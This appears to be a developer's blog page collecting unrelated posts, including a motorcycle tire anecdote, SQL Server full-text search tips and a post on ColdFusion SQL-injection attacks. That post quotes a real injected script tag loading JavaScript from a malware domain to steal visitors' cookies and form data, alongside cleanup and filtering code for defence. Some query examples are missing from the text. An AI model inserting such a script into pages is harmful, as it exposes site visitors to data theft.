In the world of network servers, the term "honeypot" refers to a server that is placed in an environment for the sole purpose of attracting those who are snooping around, and capturing their activities within the honeypot server. Honeycombing a database is a very similar approach and involves creating "decoy" tables within a database that appear to contain valid, and unprotected, sensitive data. When unauthorized activity occurs on the decoy table, it is captured in an audit table and a notification is sent to the appropriate parties.

I recently came across an interesting book entitled Protecting SQL Server Data, From the previous url you can download a free 220 page ebook and this article is taken from chapter 1 in which you learn how to set a "honey trap" for would-be data thieves, allowing the DBA to identify the precursors of an attack and respond quickly and also to better understand the techniques being used to breach existing security measures.

It is certainly worth a read if database security is important to you or you have any sites that have been hacked through SQL injection.

If you ever read your bike or car manual you will note that is does advise you to regularly check your tire pressure, especially before a long trip. Like most people this is something I rarely remember to do, but now I wish I had.

My motorcycle had been sitting in the garage for a couple of months since I had last used it, so I thought it was time to take it out for a ride. The first thing I noticed was how hard it was to push it out of the garage, which I thought was due to the fact that pushing my bike about was the only exercise my poor legs got, so were now out of practice. Over the next few weeks there were other niggling things I noticed such as cornering and roundabouts being a little hard to handle and leaning the bike too far was starting to feel very uncomfortable, which I put down to having become used to driving a car the past months and not using my bike, yes believe it or not at almost 40 years old I only recently got my car license, but despite all the avoidance for all these the years I am now quite happy to be warm and dry in my car and not out on my bike most of the time :-)

Anyway while standing behind my bike one day I noticed that the rear tire looked a little flat, which again is in the manual, if you leave your bike unused for any length off time, this will happen and you are not supposed to leave it on the stand for long periods of time.

So I popped down to the garage to put some air in my tires, but what a difference it made to the bike performance. After I have increased both tires to the correct pressure it was like having a new bike. suddenly it was easy to manuvere again, gliding back and forwards with little effort, handling was also improved dramatically, with corners and roundabouts suddenly a synch again, and I was able to lean without feeling like I might lose the bike. So it seems my conversion to a car driver hadn't made me lose my bike riding skills at all, it was just down to the tires, and as well as spoiling the enjoyment of riding, it was also clealry quite dangerous as the ability to manuvere and handle the bike was dramatically decreased. While this situation is obviously a lot more drastic on 2 wheels, the same obviously must be true for your car as well, it also increases your fuel comsumption and wears your tires out quicker too, so the moral of the story, RTFM and REGULALRY CHECK YOUR TIRE PRESSURE.

The real bummer is that I now think this was the cause of my problems with my old Vulcan 1600 which caused me to sell me as I thought it was simply too big for my first bike.

This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using <cfqueryparam>. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.

Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn't know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.

In mid-July, the hacker webzine 0x000000.com discussed potential pitfalls, particularly within older versions of ColdFusion, which could lend themselves to potential compromise:

~ Easily discoverable passwords
~ Lack of parameterized query handling
~ Failure to properly escape single quotes
~ Returning error messages that are too verbose

Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.

Following are some of the malware domains involved in the recent ColdFusion attacks:

• mh.976801.cn
• 1.verynx.cn
• mm.ll80.com

Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.

</title><script src="http://1.verynx.cn/w.js"></script>

The resulting javascript which gets loaded into your pages is used to "phish" your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor


This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.

Protecting Yourself 

All of the attacks we have seen so far seem to be implemented by using the "Exec()" command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.

E.G.

<cfloop collection="#form#" item="item">
 <cfif form[item] contains "exec(">
    .. your decision code here ...
 </cfif>
</cfloop>
<cfloop collection="#URL#" item="item">
 <cfif form[item] contains "exec(">
     .. your decision code here ...
 </cfif>
</cfloop>

You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.

You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using <cfapram> or val() for example.

The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to.

If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like "exec" or "declare" or other sql statements.

If you have been using SQL Server 2005 express  you will no doubt have noticed the lack of any backup options in SQL Web Studio Express or an SQLAgent, which is a big issue as you should be keeping backups of your databases.

Thankfully there is a solution using the expressmaint utility and windows scheduled tasks, and I found this handy article on how to use this solution to overcome this limitation of SQL Server 2005 express.

Now I just need to find a solution for the lack of import/export facilities, which I think is a major exclusion from the Web Studio Express and really limits its usefulness. 

While doing some work with SQL Servers FULL-TEXT SEARCH recently I came across some interesting gotchas relating to "noise words" which I have not experienced before, which is probably because it is quite rare that I use these feature.

The word "and" is considered a NOISE WORD. These are common words that MS Search feels should be ignored, and not be included in any Catalog. The full list of NOISE WORDS is located at \Program Files\Microsoft SQL Server\MSSQL\FTDATA\SQLServer\Config . The file representing your language can be opened and modified with a text editor. Any changes made will be reflected on the next Catalog population.

Now while the reason for these noise words existence is mainly good, to avoid overhead on database searches etc, there are situations where you might need to include them in your search. Unfortunately the only way to do this is to remove the words from the noise file.

In my situation I needed to do full-text search on all words being near to each other to return results like amazon, so "the good person" would return the same results as "person the good".

The problem is that in this scenario if ANY word is a NOISE WORD, the query fails.

Another scenario where this occurs is in a <simple_term> where all the words are NOISE WORDS and all get stripped.

E.G.
select * from myTable
WHERE CONTAINS(myTable, 'any can come')

As "any", "can" and "come" are all noise words, this results in an empty query, and you get the above ignored words error.

So how can one avoid these errors.

1) You can trap the errors and display a friendly message. This is not very elegant and wont really tell your users why their search is nor working.

2) Or you can strip out all the "NOISE WORDS" from your search string prior to using it in a query. This way you can avoid any errors and can tell users in advance if they have used ignored words.

Here is a little CFFUNCTION I wrote to do this.

<cfFunction name="stripNoiseWords" output="no" hint="removes SQL noise words from search string and changes the delimiter to |">
<cfargument name="searchString">
<cfset strNoiseWords = "1|2|3|4|5|6|7|8|9|0|$|!|@|##|$|%|^|&|*|(|)|-|_|+|=|[|]|{|}|about|after|all|also|an|and|another|any|are|as|at|be|because|been|before|being|between|both|but|by|came|can|come|could|did|do|does|each|else|for|from|get|got|has|had|he|have|her|here|him|himself|his|how|if|in|into|is|it|its|just|like|make|many|me|might|more|most|much|must|my|never|now|of|on|only|or|other|our|out|over|re|said|same|see|should|since|so|some|still|such|take|than|that|the|their|them|then|there|these|they|this|those|through|to|too|under|up|use|very|want|was|way|we|well|were|what|when|where|which|while|who|will|with|would|you|your|a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z">
<cfset result = "">
<cfloop list="#arguments.searchString#" delimiters=" " index="word">
 <cfif NOT Listfind(strNoiseWords, word, "|")>
  <cfset result = Listappend(result,word,"|")>
 </cfif>
</cfloop>
<cfreturn result>
</cffunction>

For those that may not yet have experienced the joys of FULL-TEXT search on SQL server, below are some addiitonal details

At its simplest level, the key word CONTAINS behaves similar to LIKE. To begin, we will use CONTAINS for precise string matching. The differences between CONTAINS and LIKE will not be very evident here. Using the pubs Catalog created in Part 1, issue the query:

The statement returns three rows, each containing the word "computer" in the notes field.

The Catalog created on the pubs database contained two fields: notes, and title. These are the only two fields allowed for CONTAINS searching. If a query is issued on a field not included in the Catalog, SQL will return an error. Evidenced by searching on the "type" field below:

This statement returns:

Server: Msg 7601, Level 16, State 3, Line 1 Cannot use a CONTAINS or FREETEXT predicate on column 'type' because it is not full-text indexed.

The syntax of the CONTAINS is the Cataloged field name, followed by the word or phrase to search for. Although only fields Cataloged can be searched on, any field in the table can be returned. Our first statement returned the title_id field. The same is true of joining a CONTAINS statement to another table. It follows the usual TSQL JOIN statement rules. This next query joins the CONTAINS statement to the titleauthor table, useful if author names were needed.

The statement functions like a standard join returning the following.

The first query seemed very similar to a regular statement that could have been rewritten using the LIKE key word. However, if we run a LIKE statement, some differences will appear:

This LIKE statement returns five records rather than the three returned by the CONTAINS:

The difference is the plural "computers," returned by LIKE. The CONTAINS statement was only looking for an exact text match of "computer." Plurals were ignored. As a side note, CONTAINS is case insensitive. It sees no difference between "COmputERS" and "computers." To include the plurals, the CONTAINS is changed from what is known as a simple term search, to a prefix term search. This is accomplished by using the * sign. Change the original search statement to:

The query will now return the same five records as the LIKE statement. This leads to a discussion about the use of single and double quotes. The double quotes indicate the asterisk should look for zero, one, or more characters after the root word. Without the double quotes, such as:

The asterisk will now be treated as literal character to be found, rather than a wild card. Only the three records with the singular use of "computer" will be returned with this statement.

FORMSOF

Another way to find variants of a word is change our prefix term search into a generation term search by the use of a new key word: FORMSOF. FORMSOF is used in conjunction with CONTAINS to look for variants of the search word. To use FORMSOF, the original statement is changed to:

This will return all five records, those with the word "computer," and the plural "computers." Again, we could obtain the same results by using a LIKE statement, but the real power of FORMSOF becomes evident when the word "good" is searched for. This next LIKE statement will not return any matching records:

The word "good" does not appear in the notes field. However, this next FORMSOF statement will return one record:

The difference is that in addition to returning singular and plural forms of a word, FORMSOF will also include gender and neutral forms of nouns, verbs, and adjectives. In the above example, "best" is returned as a variant of "good."

NOISE WORDS

If we change the above statement around, and look for variants of the word "and" by using the following statement:

An error will be returned rather than the previously returned record:

Server: Msg 7619, Level 16, State 1, Line 1 Execution of a full-text operation failed. A clause of the query contained only ignored words.

As discussed at the start of this article the word "and" is considered a NOISE WORD.